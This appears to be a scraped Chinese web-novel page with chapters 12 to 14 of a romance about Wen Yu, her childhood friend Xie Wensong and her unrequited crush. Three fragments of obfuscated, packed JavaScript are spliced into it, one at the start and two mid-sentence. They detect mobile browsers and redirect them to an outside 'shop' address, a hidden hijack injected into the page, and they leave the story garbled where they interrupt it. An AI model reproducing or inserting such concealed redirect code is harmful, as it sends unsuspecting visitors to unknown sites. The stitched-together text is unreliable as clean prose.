35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678453|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一首歌唱完,谢闻颂脑袋嗡嗡的,只能说这首歌治好了他的偏头痛。 因为现在他整个头都痛了。 林思睿唱完,回到沙发上猛灌两杯水,把另一个麦克风放到温遇手边:“来一首呗。” “算了吧。”温遇埋头啃着西瓜,两个腮帮子鼓鼓的,“最近没听什么新歌。” “不用新歌,喜欢的也成。”林思睿掌心托着下巴,眼神不经意瞟了眼旁边没什么表情的谢闻颂,“就当欢迎我回来了。” “行。”温遇这次没拒绝,擦干净手就起身去点歌台。 林思睿往谢闻颂的方向挪挪,拿肩膀拱他一下:“谁欠你钱了啊,我回来你不开心?” 谢闻颂瞥了他一眼:“你故意的?” “哎呀,我这不是为你考虑。”林思睿一动,外套上的装饰叮叮咣咣地响,他贱兮兮地靠过来,“你难道不想听妹妹唱歌?” 妹妹。 他记性不差,这两个字他才听过。 谢闻颂听到这儿才勉强给他一个完整眼神,“知道我的秘密挺开心?” 林思睿挑眉,没想到他主动提起,于是也摊牌不装:“只是想不到你这样的人,还玩暗恋那一套。” 暗恋。 听到这个词,他眉心又是一跳,下意识去看左前方的温遇,见她还在选歌,心底的紧绷才松下来。 转回头,林思睿开了罐汽水,对他这个动作见怪不怪,就是好奇:“几年没在一个城市,谢闻颂,你这么沉不住气了啊。” 某人没回答他,只是上身往后靠。 一副虽然被戳穿但是仍然不太想搭理他的样子。 林思睿无所谓摊了下手:“反正没有女朋友的又不是我。” “说得好像你现在有女朋友一样。” “……” “马上快七夕了。” 林思睿没反应过来:“?” 某人慢悠悠来一句:“别人七夕手牵手,我们七夕狗望狗。” “为了骂我还把自己带上了,谢闻颂你行。” “谁说我骂我自己了?” “我是说核桃和你。” “……” 林思睿无语。 他骂得好脏啊。 谢闻颂偏头,唇边难掩笑意。 突然想起刚才看见陆星桓和温遇站在一起时,他在几米开外没被他们注意到的位置,悄然蹲下解开核桃的狗绳,给它一个眼神。 小狗得令,完全理解他的意思。 直到现在,他想到的是。 养狗千日,用狗一时。 只是小狗都养熟了,某人却还对他“不熟”。 这种感觉,实在不太好。 点歌台旁的温遇完全不知道身后的战火硝烟,选好歌之后坐回沙发上,瞅见林思睿不知从哪里翻出来的两根荧光棒,还把其中一根扔给谢闻颂。 温遇突然有点紧张:“要不别……” 一扭头,谢闻颂已经摁开开关,骨节分明的手指握住荧光棒尾端,前奏响起,他手腕带着力配合节奏晃动,见温遇正看着自己,另一只手撑在沙发上朝她靠近了点,提醒道:“公主,前奏要放完了。” “……” 温遇瞬间扭头,前两行歌词已经出现在屏幕上。 她唱歌和说话几乎是两个声线,唱歌的声音要更低沉一些。 虽然她不社恐不怯场,但却不太喜欢在不熟悉的人面前展示才艺。 不过现在包厢里只有她们三个人,温遇倒也没什么矫情的,靠在沙发上,话筒贴近唇边,尾端压低。 这星空在闪烁 微小的不足够 散落的烟火填不满寂寞 这一刻剩下我 静静的上了锁 自从你出现后 难过的时候 其实是你陪我度过 能不能别放手 要多久以后才能足够 呼吸你的温柔 流进我的胸口 谢闻颂听着歌词,摇晃荧光棒的手顿了又顿,借着不经意扭头去看温遇的目光,他看见她眼里灯光分明,刚才掩盖的情绪又被歌词重新翻出来,融在歌声里。 他移开眼,心口不知道为什么也堵起来,其实原因昭然若揭,他也没有逃避,任由麻木细碎袭来。 温遇唱歌,他就在心里默念歌词。 当天真腐朽我的天份只剩等候 呵。 只剩等候。 要是只要一直等下去,就会有结果的话。 就有结果的话。 一曲扣人心弦的情歌唱完,林思睿在旁边像应援组代表一样疯狂摇晃荧光棒:“好听!好听!” 说完还不忘拉上某人:“是不是,谢闻颂。” 迎合女孩回头的目光,依旧能烫到心底最深处。 心头早已被情绪占满,千言万绪嘈杂纷乱间,有一瞬寂静,他忽然笑了下。 “嗯,好听。” 如若只凭等候,就有结果。 这个世界上也不会有那么多遗憾的故事了。 也不会有那么多,因为不那么勇敢而始终迈不出那一步的人。 包括他。 12.鱼鱼 12/ 谢闻颂还小的时候,就觉得“游戏人间”这四个字未免太过理想化。 可偏偏某位鱼鱼同学,却将这四个字奉为真理。 照她的解释,人生就应该是一场打到酣畅淋漓尽兴而归的游戏,玩游戏的过程中有小怪也有满血boss,对标人生路上大大小小的问题。 彼时听到这一番道理的时候,温鱼鱼正在谢闻颂的家里避暑。 谢家父母不在家,房子俨然被他们俩小孩主宰,客厅的沙发上,温遇一手拿着雪糕棍,另一只手压在漫画书上,看得津津有味的同时还时不时嘬一口雪糕。 谢闻颂正从收纳盒里拿出零件拼乐高,闻言看她一眼。 “那你觉得小怪是什么困难?” “当然是——” “雪糕要化了!”温遇眼疾手快,但奈何雪糕融化的液体还是滴落到漫画书上。 她连忙用纸擦干净,然后张嘴小口小口吹,试图吹干。 “……” 谢闻颂听到她这句,回看手中拿错的零件,“那大怪呢?” “大怪就是。”温遇转转眼珠,生无可恋地把雪糕棍扔进垃圾桶,在凉席上翻了个身,将漫画书举起:“这书我开学要还给林思睿的,现在蹭上雪糕渍了。” “……” 谢闻颂二度无语,目光瞅见她胳膊上凉席压出来的红印,坐在地毯上屈起一条腿,状似不经意开口:“我家也有这本漫画,还有全册,他要是介意你就把我家这本给他。” 鱼鱼同学噌一下从沙发上坐起来:“谢闻颂你不够意思了啊。” 她嘟囔:“要是知道你家有,我也不至于用五根辣条三根棒棒糖两根绿舌头和林思睿换了。” “你给过我机会?”谢闻颂将手里的零件拼插好,“你不是看见林思睿手上这本就直接找他要了,有问过我?” 皮球又被谢闻颂踢回来,温遇这次不说话了。 她自知理亏,半晌憋出来了一句:“现在大怪换了。” “是什么?” “是还有一周开学,我的暑假作业还没写几笔。” “……” “那个,谢闻颂。” 某人没回话。 “你作业能不能……” 他斩钉截铁:“不能……” “小气鬼。” 某人抬头,目光有点凉飕飕的:“小气鬼现在有点想把你赶出门。” 温大勇士不惧威胁,甚至还能做个鬼脸:“大气鬼。” “大气鬼也不会给你暑假作业的。” “那我找林思睿。” 谢闻颂冷笑:“你猜他今早给我发消息说的什么?” “什么?” “问我暑假作业写没写完。” “……” 温鱼鱼果断抱着漫画书在沙发上顺时针旋转九十度。 这次彻底背对谢闻颂。 实际上表面强忍崩溃。 她这都交的什么朋友。 - 把床头台灯点亮,谢闻颂靠坐在床头,屈起一条腿,同侧手腕搭在上面。 他洗完澡之后不太爱吹头发,一般都胡乱用毛巾擦几下,然后从挂钩拿下T恤套上,就往屋里走。 今天也一样,跟没骨头似的往床头一靠,后脑勺贴在墙上。 却在想,温遇是不是现在也要睡了。 还是说,和他一样难眠。 谢闻颂另一只手刚点开手机,突然想起了件事,在音乐软件里搜索歌词。 【当天真腐朽我的天份只剩等候】 搜索出歌名,他本想在睡觉前循环几遍,稍微想了想还是摁下暂停键,只是点上红心,然后退出音乐软件。 夜幕沉沉,薄被被他撂在一边,在床上翻了个圈也睡不着。 没睡着以前,他灯都没关,侧身躺着的时候压在下面的手臂平伸,手心向上,刚好捞到灯光。 指尖动了动。 寂静的房间里,倏然响起一句呢喃的声音。 “骗子。” - 温遇小时候有个外号“小病包”,因为她上小学以前经常生病,一个月交五千块钱的幼儿园统共也没去过几天,这段时间却让她在医院成了常客。 而谢闻颂打记事以来,就对这件事印象十分深刻。 因为基本每次她生病,乔若琳会带他来医院看温遇,那时候乳牙刚长齐的软团子一看见他,手里经常抱着的那只小熊都不要了,只张开手要他抱,咬字不清的嘴里勉强能把他名字的后两个字拼全。 不过看在某人喊他哥哥的份儿上,谢闻颂表示其他都不计较。 虽然内心觉得这个妹妹磕磕绊绊叫他名字的时候真的很可爱。 有一次,徐翩禾叫温遇把药丸吃了,喊了一次她大名。 谢闻颂坐在床尾,重新复述这两个字:“温、yu?” 他重点品了下第二个字:“是美人鱼的‘鱼’吗?” 话刚出口,乔若琳和徐翩禾都没忍住笑出声,谢闻颂不解:“难道不是吗?” 乔若琳笑着摸了下儿子的头:“是四声,遇见的‘遇’。” “妈妈,‘遇见’是什么意思?” 女人想了想,努力用通俗的话讲给他:“就是你等到了一个很重要的人。” 大概学到新知识的谢闻颂一知半解点头,看向床上皱着眉吃药丸的小姑娘,头发扎成两个小辫子,红樱桃发绳活泼俏丽,阳光从窗口斜斜照下,女孩吃完药吐了吐发苦的舌头,转眼看着他,下意识露出笑容,嘴里喊着哥哥。 哥哥这两个字里好像有阳光。 他心里暖暖的。 谢闻颂倒觉得“鱼”字也很好。 因为温yu妹妹,真的很漂亮啊。 像童话书里的美人鱼一样漂亮。 那他以后叫她,鱼鱼。 怎么样。 应该只有他一个人这样叫。 温鱼鱼。 …… 再长大点,温遇不像之前那样频繁住院,不过这次换了地方,经常往谢闻颂家里跑。 被徐翩禾当场抓到几次,温遇说要去谢闻颂家里补习。 徐翩禾看向她藏在身后的一袋零食,心想这孩子撒谎都不带草稿,难得陷入沉思,最后也只说了一句少吃点垃圾食品,到点赶紧回来吃饭。 不过补习这事还真不是温遇胡说,只是每次谢闻颂要带她学习,温遇就往他手里塞零食,然后眨巴那双澄澈的眼睛,认真提要求:“吃完再学习好不好?” 谢闻颂见惯了她的套路,一本正经拒绝她。 “哥哥。”温遇喊了声。 某人岿然不动,将练习册翻开,正要拉开笔袋拉链。 “哥哥。”带着薯片渣的手扯上他的袖口。 四目相对,谢闻颂眼中唯余无奈:“最后一次,而且你带来的零食只能吃一点,吃完开始学习。” 小姑娘见计谋百试不厌,眼睛弯起,又喊了一遍哥哥最好。 谢闻颂单手撑着脸看她,有点嫌弃:“你不会管谁都叫哥哥吧。” 温遇摇头,辫子都跟着晃悠两下。 “只有你一个哥哥。” 某人听到这句,心里漫上点喜悦,却还是强撑故意板着脸:“谁知道你有没有背后叫过别人哥哥。” “没有,不会有的。” 温遇突然放下手里的可吸果冻,清润透亮的荔枝眼一眨不眨地看着他,重复。 风拂开窗棂撞入怀中。 四十度的夏天,会永远想念。 - 隔壁房间,温遇正整理挎包里的东西,餐桌上醒目位置摆放她的工牌,她手指捏着边缘沉默片刻,最后把挂绳卷在卡片上,也塞进包里。 还没放下手里的包,手机语音电话的铃声就响起,温遇调转脚步回到卧室,发现是程以桉给她打的电话。 “喂?” 那边似乎有点嘈杂,听到她这声喂,音量才有所降低。 温遇瞥了眼手机左上角时间:“你还没回家?怎么这么吵?” “回了啊。”程以桉慢悠悠补了句,“看鬼片呢。” “……” 温遇不太理解程以桉这个爱好,卡死的脑袋试图重新开机,“现在看完你睡得着?” “睡不着,所以想拉个垫背的。你这是没在我身边,要不然我肯定拉你一起看。” “……” 还是不必了。 对面的笑声不加掩饰,温遇也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702114|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这人是和她开玩笑,“有话和我说?” “嗯。” “我今天不是问你去不去聚会嘛,你说你不去,我也就没去,不过我哥后来给我发消息说在Nocturnal看见你了。” 程以灏看见她了? 温遇手机开免提放在一边,手指把玩床头玩具熊的耳朵嗯了一声:“林思睿回国了,就谢闻颂发小,我去给他接风。” 那边沉默了一会儿,然后声音放小:“那你看见那谁了吗?” 脑海里划过那一束卡罗拉玫瑰,心口那股好似被水气球占满的情绪又浮上来,涨闷又酸涩。 她甚至不知道什么时候开始,一想到陆星桓,心口就有酸涩的,像是夏天暴晒过坏掉汽水一样的东西往外冒着。 止都止不住。 “看见了。” 三个字,说起来语气轻飘飘,可那头的程以桉却听出了隐晦的沉重,她斟酌了挺久,挺认真开口:“温温,我们要不……” “换个人喜欢吧。” 见温遇没说话,程以桉叹了口气:“我听说,陆星桓这次提前回国,还有一个原因是他外公病重。” 温遇眉心跳了一下。 程以桉这样说,那必定是从程以灏那里知道的消息。陆星桓和程以灏是穿一条裤子长大关系,这消息掺不得一点假。 “他外公挺关注他婚事的,可能……”程以桉虽然没说完,可是话里的意思,她再清楚不过。 没什么进展的事,也不知道她一直在等什么。 等一个从不甘心到甘心的结果吗? 好像不是的。 她好像一直在等一个劝自己开口的机会。 靠坐在床头,温遇把脸埋在小熊身上,深深吸了一口气,然后再缓缓吐出,仿佛这样就能把心底厚重的心事减薄几分。 可积年累月攒起来的厚册子,又怎么可能三两下就翻阅完。 “以桉。” “我想再等等。” 程以桉换了个话题,没再提刚才的事。 “要不我搬过来和你住几天,顺便看看蓝湾的房子是不是和传闻中一样,让我也体验一下顶级大佬的生活环境。” “可以啊。”温遇知道她这是想安慰自己,刚才紧绷的神经松懈,声音轻快起来,提到房子,眼前自动冒出谢闻颂的脸。 带人回家住,是不是要和他说一声。 毕竟这是谢闻颂的房子。 手机另一头的程以桉已经决定明天就收拾东西,挂掉语音通话后,温遇留意到时间已经不早。 谢闻颂是不是已经睡了。 温遇在床上纠结了一会儿,想到一个两全其美的办法。 她点开和谢闻颂的聊天框,发了一个“晚安”的表情包。 心里还美滋滋地想,这样既能确认对方睡没睡觉,就算睡了,第二天早上看到消息的时候,也只会觉得是一条问候消息。 鱼鱼同学使劲在心里给自己竖起大拇指,正在感慨自己简直是神算子下凡,对面忽然冒出条消息。 Song_:? 看来是还没睡。 鱼鱼同志决定走方案一:亲爱的房东大人,明天我可不可以带人回家里住几天? 提示对方一直输入中,可是就没发过来消息。 网卡了? 可右上角信号是满格啊。 视线下落,对面还是没回。 小鱼丸了:程以桉你知道吧,她要来和我住几天。 这次对面回复很快。 Song_:可以。 温遇正想结束聊天—— Song_:我在你家门外。 ? 温遇穿上拖鞋走到门口,刚把门打开一个小口,入目是一双浅蓝色拖鞋,她半弯着身,单手握住门把,视线一点点往上提。 蓬松凌乱的头发像刚出去折腾一圈的小狗,谢闻颂微垂着眼睛看她,过大的T恤连锁骨都遮不住,温遇偷瞄了好几眼。 “你……”一个字刚脱口,温遇的头顶猝不及防被一只手抚上,指尖拢着她的发丝,仿佛那只小狗才是她一样。 站在她面前的人笑了下,“晚安还是要当面说比较有诚意。” “温鱼鱼,晚安。” 13.鱼鱼 13/ 周五中午,刚吃过午饭,温遇给多肉浇了点水的功夫,就被饶婷叫到办公室。 女人把手里的蓝色文件夹往桌子上一撂,垂头摁开电脑,和她说:“今天摄影部一部分人调去录制采访,杂志内页的拍摄人手不太够,我记得你是会摄影的,对吧。” 她顺手拢了下头发,视线从电脑屏幕上错开,看向温遇。 见后者点头,饶婷把剩下半句话说完:“今天下午你先跟着他们去影楼,如果什么需要帮忙的也多一个人手。” “好。” 温遇回到工位收拾东西,隔座的林檬探过头:“诶,这不午休时间吗?” “婷姐让我去跟下午的内页拍摄。”温遇从工位的抽屉里找到上次谢闻颂挂她家门把手上的藿香正气液和冰凉贴,分别拿几个放进包里。 “噢。”林檬突然想起什么,移动办公椅直接凑到她旁边:“说起这个,你知道今天摄影部的另一部分人去采访谁了吗?” “我早晨刚在摄影组小群里打探到的消息,还新鲜着。” 想起饶婷刚才说的话,温遇垂头正整理东西,下意识接了句:“谁?” 对面没说话,她看过去的时候,林檬故弄玄虚下巴往窗户外抬了个方向:“金融区那边儿看见没,大佬卧虎藏龙的地方,经济实力和我们隔着几道沟。” 语气里全是神秘。 温遇刚想说你这个关子卖得还挺成功,就见林檬缓缓伸出食指,垂直朝上指向天,缓缓吐出一个名字。 “谢闻颂,你认识不?” “据说社里之前力邀过几次,这次终于采上了。” 正收拾挎包的手停住,没等温遇回答,林檬已经滑回工位,双手托腮:“我们这一片工作的人,应该没人不认识他的吧。” 和林檬对座的关浩一听到这个名字也从电脑前抬起头,说话之前还看了看周围,此刻时间是午休,没几个位置上有人。 他这才开口:“其实我当时是先给环想那边投简历的,但是没过。” 关浩注意到温遇的表情,想给她科普:“近些年有几家大公司的芯片都是从环想那儿进,而环想的老板,就是你们刚才口中的那个人。” 一语下去,在三个人之间掀起不小的波澜。 关浩以为温遇不知道这才说了后一句,不过她是知道的。 毕竟是并肩长大的竹马,他有多优秀,她比任何人都清楚。 关浩见林檬一脸有兴趣的表情,没忍住站起身去茶水间给自己泡了杯咖啡,边喝边和她们说:“我当初也给环想投了简历,可那边只收芯片设计的专业人员,我的专业和人家八竿子打不着的关系,当时还挺失落自己大学为啥没学计算机的。” 略微惋惜之后,关浩继续输出:“据说几年前环想还只有几个核心成员的时候,都是住地下室的,现在芯片行情好,这不一下子搬进华鼎大厦了。” 他透过玻璃窗,看向和刚才林檬一样的方向。 温遇沉默地听着,并不发表自己的看法。 其实住地下室倒是夸张了,她记得当时谢闻颂应该是找了间环境简易的工作室租了一段时间,她还跟着去看过。 电脑配置还都是新的,上面有她完全看不懂的数据代码。 果然传言都不能太相信。 关浩见温遇没什么表情变化,决定再扯点八卦:“环想老板,是谢家小少爷,你们知道不。” 林檬接一句:“哪个谢家?” 关浩哎呦一声,“他外公生前是世安医院的院长,退休之后据说有时候还在接手术,这位真是医学界大拿。” “果然优秀的人都是优秀一家子。”林檬指尖点着鼠标,感喟似的叹了口气:“真是天之骄子啊。” “那可不。” 注意到旁边把椅子推进工位的温遇,林檬道:“要走了啊,小温。” “嗯。”温遇和他俩打了招呼,拿着包坐电梯下楼。 刚摁下按键,想起刚才关浩口中谢闻颂的外公。 红色箭头向下,温遇思绪劈了个叉,面容和善的老人浮现在脑海。 确实是很优秀的一家人。 谢闻颂的名字,还是他起的。 - 今天时间不赶,温遇今天打算坐公交车去影楼,在站点等车的时候,程以桉给她发消息问她大概几点下班,说要来接她。 她抬头看了眼灰蒙蒙的天,感觉一会儿要下雨,低头回:我感觉得五六点收工,在上次的影楼。 程以桉:OK,这次姐喜提的新座驾带你兜兜风,保准过瘾。 温遇挑眉:那就提前感谢程大小姐了。 对面被夸得喜滋滋,连发了好几个表情包。 温遇到影楼的时候,场地还没布置好,她刚把包存好,就碰见了熟人。 上次给艾雯拍摄的摄影师大哥。 大哥看见她也是一愣,很快认出她是谁:“小姑娘你咋来了?” “工作安排。”温遇言简意赅。 简单交流几句,摄影大哥是个自来熟,连着说好几句话。 温遇随口问:“今天主要还是艾雯的拍摄吗?” “对。” 说起这个,大哥一脸愁容,明显是想起了上次的事:“封面好歹就一套造型,最多也只是动作上的讨论,内页是不同装扮,还不知道还有多少事。今天你来,真是没赶上好时候。” 温遇倒还平静,甚至还能主动安慰大哥几句,路过化妆间的时候碰上艾雯的小助理。 碰见不太熟悉的人,她也朝对方点点头,从手腕上褪下来皮筋,她简单把头发扎了一下,开始帮着大家搬道具,调整摄像机的角度等。 没过多久,做好造型的艾雯带着小助理走过来,总负责喊了句开始开拍,下午的工作正式开始。 温遇站在后排,简单扫了眼摄影棚里面的人,比起上回少了一半还多。 想到剩下的人都去跟拍谢闻颂,她在心里还感慨了句某人人气还挺高。 上半场拍摄总体还算顺利,艾雯要去换下一套衣服,人刚走,摄影大哥凑到她旁边,是松了一口气的表情。 “哎呦,能这么顺利还真是不容易。” 温遇没说话,只是笑了下。 肩膀被人拍了下,她扭头,是一个跑场务的小姑娘:“你是温遇吗?艾雯姐说找你有点事,就在里面的化妆间。” 想起上次的谈话,温遇思索着点头,走到化妆间门口敲了敲。 艾雯从里面给她开门,“进。” 见确实是她,擦了口红的嘴唇挑起,“坐。” “我今天的助理身体不舒服,我就让她先回去了,我刚才拍摄的时候看你并不太忙?” 说到这,艾雯挑起眉看着眼前一脸恬淡的姑娘,蔻丹指甲轻敲桌面:“下午你做我助理,怎么样?” 见她没说话,艾雯转头看镜子里的自己:“放心,不是很忙,最多就是拜托你跑跑腿。” 温遇挺平静听完,然后很轻地点了下头。 见她没拒绝,艾雯叫一旁的化妆师帮忙补妆:“一会拍摄完估计五点了,辛苦你数一下人数,订下午茶,要Paris Baguette的。” 话说到这,艾雯没再把眼神分给她,任由化妆师给她描摹眼线。 关上化妆间的门,温遇有条不紊地开始订下午茶,按照人头数清楚再下单,期间店里打过来电话,两款小蛋糕暂时售罄,问可不可以换成另外一款的。 温遇出去接个电话的功夫,外面已经下起雨来。 她盯着沥青路上的坑坑洼洼,里面蓄水的程度,这雨应该已经下了一会儿。 脑海里零碎但又无比清晰的画面仿佛被这一场雨浇出来,闷热的空气没被这场雨带走,继而毫无顾忌往她心口钻。 回去的时候,下一场已经开拍,一如既往地还算顺利,进度稳步推进,大家忙碌的效率提上来,时间倒也过得快。 温遇再出去的时候,就是专送员给她打电话,说送货的电瓶车坏在路上,好在距离影楼不远,问她可不可以出来拿一趟。 看了眼外面的雨势,温遇在杂物间找了把稍微大点的伞,在门口借了个推车,顶着雨出去。 影楼的唯一出口连着一条并不宽的胡同,温遇今天穿了双透气的运动鞋,踩两下水,就感觉袜子已经湿了一半。 走到胡同口再拐个弯,穿着雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722173|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣的外卖员见她一个人,帮她把东西搬到推车上的时候还在说:“没找个伙伴帮你啊。” “大家都挺忙的。” 摆放好东西,温遇将车往回推,雨伞的大部分面积都罩在推车上面,她此刻庆幸出来的时候把早晨带去单位的外套穿上,大部分雨水粘在外套上,里面的衣服没怎么湿。 推车刚拉进影楼门口,温遇把撑开的伞放在一旁空地处,和前台小姑娘一起把下午茶拿进去。 温遇拿了一份往化妆间的方向走,到门口刚要敲门,走廊尽头从卫生间过来的化妆师愣了下:“你站这干嘛?” 温遇举起手里的塑料袋:“艾雯老师让我买的下午茶。” 化妆师噢一声:“不用给她带了,她刚走。” 温遇愣了下,毕竟去取下午茶以前,艾雯找她一趟,说取完到那把账单发给她:“刚走?” “对啊。”化妆师擦干手上的水,“她刚没和你说吗,今天提前二十分钟收工。” - 程以桉说她到影楼门口了,温遇这才拎着小蛋糕出去,雨没有她刚才去取下午茶的时候大,零星飘着点,空气里还是闷热不减。 三伏天上来,一场雨也驱散不了暑气。 温遇自然而然走到她旁边:“你车停在胡同外吗?” 她手里拿着手机,正搜索艾雯的经纪公司在哪,没注意程以桉的表情。 “没啊。” 温遇从手机屏幕上移开视线,这才注意她身上的装扮。 从头盖到脚的雨衣,脚上还踩着一双像是从隔壁海鲜市场顺过来的雨靴。 “……” 看她这身装束,温遇回忆起刚才程以桉的回答,心里有种不好的预感。 程以桉往旁边挪一步,露出后面的某知名品牌电动自行车,彻底坐实这股不好的预感:“我新提的,怎么样。” 温遇在原地站着,手里拿着程以桉刚递到她手里的雨衣,幽深目光望向她,小心翼翼问:“你戴头盔了吗?” “当初被驾校老师拉黑的人,我不太敢坐。” “……” 怎么还带拐着弯儿骂人的。 怎么也没想到传说中的兜风保过瘾的新座驾竟然是台电动车,温遇坐上后座,将雨衣帽子拉到头上,双手往前环,搂紧程以桉的腰。 高考结束,程以桉是和温遇约好一起学车的,温遇拿本那天,程以桉失魂落魄来找她,说她跟教练说自己模拟科二扣了五百分。 教练说挺好的,再扣点上一本了。 “……” 那时对面的鱼鱼同学露出了一言难尽的表情。 后来见实在和科二没有缘分,程以桉也将学车这事儿晾到一边,谁知现在不坚持考驾照了,而是坚持学不要驾照的车。 果真是难不倒她。 雨雾朦胧,天地之间只有雨滴沁凉。 “你知道当时我去驾校学车的时候,要短距离转向,教练坐我旁边,双手死死抓着安全带,一直和我说‘打死,打死’。” “我刚开始以为车里进蚊子了。” “后来问了句‘把什么打死’,你猜他说什么。” “什么?” “把我打死。” “……” 一贯冷静从容的鱼鱼同学此刻是真的有点慌,只能靠抱紧前面的人勉强找回点安全感。 “我不想死。” “去你的,温遇。” 头顶传来程以桉的一句笑骂,把手一拧,电动车自动启航。 “芜湖!” “吹吹风,把烦恼都吹走,一个都不落。” 温遇听到这儿反应过来,原来这人特意找来台电动车是真的带她来兜风的。 也是真的在安慰她。 湿腻腻的风打在脸上,混合冰凉雨点,头顶带着点激动的声音仿佛可以划破这迷蒙雨雾,点亮温遇这一天并不算太好的心情。 嫩粉色的电动车汇入霓虹车流,隔着风声,程以桉喊了句。 “你就说过不过瘾吧。” 这雨虽将潮湿闷热困锢,却也有洗刷尘埃的能力。 温遇望向天空—— “过瘾。” 14.鱼鱼 14/ “你是说,艾雯让你当助理,然后买下午茶还没给你钱就走了?” 窗外雨势又大了起来,玻璃窗上雨珠连成线,开着空调的屋内则清爽干净,和外面仿若两个世界。 程以桉坐在床边正挖着蛋糕,有点诧异看向温遇:“你得罪她了?” 温遇从衣柜抽屉里摸出条干毛巾擦头发,坐在梳妆台的位置,面朝程以桉:“我也不知道。” “上次拍摄封面的时候,她问我要不要当她个人的摄影师,我当时说自己不专业给拒绝了,后来也就没有下文。” 程以桉显然也没料到先前竟然是有这么一段事,咬着叉子想了半天,最后得出结论:“跑腿就算了,主要得把这钱要回来啊。” “我也是这么想的。”温遇大剌剌倒在椅子上:“这个月工资还没发,就往里面搭了钱。” 提到极度缩水的钱包,一向面不改色的某人终于有了点情绪波动:“明天周末,我看看去她公司门口能不能碰见她。” 说完原地扑腾几下,像条脱水前挣扎的鱼。 “你要是没找着,也不用逞强,我回头问问我哥,看有没有和那边搭上线的人。” 温遇刚想说她自己的事自己处理就好,就听见程以桉咦一声:“陆星桓家之前不是做经纪公司的吗?虽然现在不做这行了,但肯定有相关人脉。” “你要不问问他。” 如果说小金库是能让温遇有情绪波动的东西,那陆星桓就是那个能让她变得不像自己的另外。 毕竟喜欢这种事,既不受自己控制,又能明显操控人的情绪。 而暗恋,更是比喜欢重很多的东西。 她一样控制不住。 见温遇重新恢复沉默,程以桉将最后一口蛋糕吃掉,明显懂她为什么会在这时候选择沉默。 温遇这人虽然看着甜软好亲近,有时候感觉说两句话就能和她交成朋友,其实界限感比谁划得都清,好相处是真的,不一定能走到她心里也是真的。 青春期除了担心喜欢的男生喜不喜欢自己以外,大多人还会困在患得患失的友情里,温遇就没这方面的烦恼,她不从不熟悉的羁绊中获取能量,她本身就是发光源,别人的看法和厌恶从不会影响到她,反而知道后,还会无奈说一句:“讨厌一个人也挺浪费时间的,这时候睡会儿觉不好吗?” 有时候,程以桉觉得,或许没有这份喜欢的温遇,应该会更自由快乐吧。 不过哪怕作为好朋友,感情这种私密的事还是不能干涉太深,只能站在外圈给她出主意。 床足够大,程以桉把手机切成横屏打游戏去了,温遇也不太睡得着,手指反复在一个人的对话框划来划去。 内心挣扎过后,她还是给陆星桓发消息。 陆星桓显然没睡,秒回问她出什么事。 她正打着字,语音电话的振动震得手心发麻。 旁边的程以桉戴着耳机没留意她这边的情况,温遇拿着手机走到客厅,接通语音电话。 “喂?温遇?” 声音入耳,仿佛裹挟微小电流。 温遇嗯了一声,对面确认是她之后道:“你现在忙吗?我给你打电话会耽误你的事吗?” “不会。” 得到回复之后,陆星桓问她找自己是有什么事情。 温遇迅速调整语言,把事情的前因后果讲清楚,听筒那边没有说话,只有书本并不明显翻动的声音。 知道事情的大致经过,陆星桓略一思索:“我明天看看朋友那边,帮你问问她经纪公司那边看能不能联系上她。” 话说到这,温遇知道这大概是陆星桓解决这件事的初步方法,说了句谢谢星桓哥。 对面似乎在柜子里找东西,细微的响动透过听筒清晰传到这边,陆星桓话题转了一个方向:“下个月陆家有场宴会,你要来吗?” “来的话,我回头让以灏给你带份邀请函。” 没想到这通电话还有意外之喜,温遇没拿手机的那条胳膊环抱小腿,手指有意无意揪着睡裙锁线的边儿,说了句去。 “那行,我明天给你答复,时间也不早了,快睡吧。” 挂掉电话,温遇在沙发上坐了一会儿,偏头看向落地窗外已经完全黑下来的天。 信息也发了,电话也打了,邀请函也拿到了,晚安也说了。 可还是感觉有什么压在心头上,让她连撑起一副欢脱笑脸都难。 - 次日八点,生物钟把温遇叫醒,她看了眼身上面积比芝麻还小的空调被,默默看向床另一侧的某人。 她还第一次见睡觉能把自己卷成热狗的人。 她习惯睁开眼在床上思维发散几分钟,今天也一样,只是起床洗漱的动作轻很多。 从洗漱到穿衣服拿好东西出门一气呵成,温遇上地铁的时候还在想一会见到艾雯要说什么。 满腹准备好的话堵在嗓子眼。 算了,还不一定能见到呢。 周末日的地铁人流不比平时少多少,温遇靠在扶手旁,手机提示音一响起就要看两眼。 可每条消息,都不是陆星桓发的。 温遇其实没太觉得和陆星桓说这事之后会有什么结果,比起这件事的结果,她好像更在意那一通电话本身。 突然觉得自己有点恋爱脑,温遇在心里敲打一下自己: 温鱼鱼,你还是别想情情爱爱的了,先把你钱要回来吧,要不然下个月房租都要交不起了。 